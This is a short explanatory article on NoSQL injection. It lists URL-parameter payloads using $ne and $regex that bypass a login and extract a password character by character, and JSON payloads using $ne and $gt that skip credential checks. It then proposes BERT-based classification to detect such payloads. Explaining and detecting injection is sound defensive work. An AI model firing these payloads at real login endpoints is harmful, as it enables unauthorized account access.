NoSQL Injection

NoSQL injection is a type of security vulnerability that allows an attacker to manipulate NoSQL database queries, resulting in unauthorized access or data leakage. It can occur when user input is not properly validated or sanitized before being used in database queries. NoSQL injection attacks are similar to SQL injection attacks, but they target NoSQL databases.

Examples of NoSQL Injection

URL Examples:

username[$ne]=toto&password[$regex]=a.{2}
username[$ne]=toto&password[$regex]=b.{2}
...
username[$ne]=toto&password[$regex]=m.{2}
username[$ne]=toto&password[$regex]=md.{1}
username[$ne]=toto&password[$regex]=mdp

username[$ne]=toto&password[$regex]=m.*
username[$ne]=toto&password[$regex]=md.*

JSON Examples:

{"username": {"$ne": null}, "password": {"$ne": null} }
{"username": {"$ne": "foo"}, "password": {"$ne": "bar"} }
{"username": {"$gt": undefined}, "password": {"$gt": undefined} }

To protect against NoSQL injection, machine learning models like BERT can be used for classification of payloads as malicious or benign. BERT (Bidirectional Encoder Representations from Transformers) is a powerful pre-trained natural language processing model that can be fine-tuned for specific tasks, such as NoSQL injection detection. By analyzing the structure and content of queries, BERT can identify potentially malicious payloads and prevent them from being executed.